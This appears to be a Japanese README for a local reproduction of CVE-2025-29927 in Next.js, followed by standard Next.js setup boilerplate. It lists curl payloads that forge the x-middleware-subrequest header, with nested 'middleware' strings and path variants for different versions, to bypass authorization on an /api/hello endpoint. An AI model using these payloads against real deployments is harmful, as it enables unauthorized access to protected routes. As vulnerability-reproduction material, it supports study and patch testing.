
このリポジトリは、next パッケージにおける CVE-2025-29927 脆弱性の再現です。
/api/hello エンドポイントへのアクセスが拒否されることを確認します$ curl http://localhost:3000/api/hello
{"error":"Unauthorized"}%
$ curl -H "Authorization: my-jwt-token-here" http://localhost:3000/api/hello
{"message":"Hello World"}%
x-middleware-subrequest ヘッダーに middleware を5回入れ子にすると、バイパスすることもできます:curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/api/hello
{"message":"Hello, World"}
Next.js 12 および 13 では、ミドルウェアファイルの命名規則が異なっており (_middleware.js)、Next.js 14 で middleware.js に変更されました。この脆弱性は、_middleware.js ファイルを使用することで旧バージョンでも悪用される可能性があります。
たとえば、Next.js のバージョンとルーティング規則に応じて、以下のペイロードが適用されます:
curl -H "x-middleware-subrequest: middleware" http://localhost:3000/api/hello(pages ディレクトリ内ではなく、アプリのルートにある middleware.js ファイルを使用する Next.js 12.2 の場合)curl -H "x-middleware-subrequest: src/middleware" http://localhost:3000/api/hellocurl -H "x-middleware-subrequest: _middleware" http://localhost:3000/api/hello(Next.js 11 から 12.2 までの場合)curl -H "x-middleware-subrequest: pages/_middleware" http://localhost:3000/api/hellocurl -H "x-middleware-subrequest: pages/admin/_middleware" http://localhost:3000/api/helloまず、開発サーバーを実行します:
npm run dev
# or
yarn dev
# or
pnpm dev
# or
bun dev
ブラウザで http://localhost:3000 を開くと、結果が表示されます。
app/page.js を変更することでページの編集を開始できます。ファイルを編集すると、ページは自動的に更新されます。
このプロジェクトは、next/font を使用して、Vercel 向けの新しいフォントファミリー Geist を自動的に最適化して読み込みます。
Next.js の詳細については、以下のリソースを参照してください:
また、Next.js GitHub リポジトリ をご覧ください。フィードバックと貢献を歓迎します!
Next.js アプリをデプロイする最も簡単な方法は、Next.js の開発者による Vercel Platform を使用することです。
詳細については、Next.js デプロイメントドキュメント をご覧ください。
このプロジェクトへの貢献に関するガイドラインについては、CONTRIBUTING を参照してください。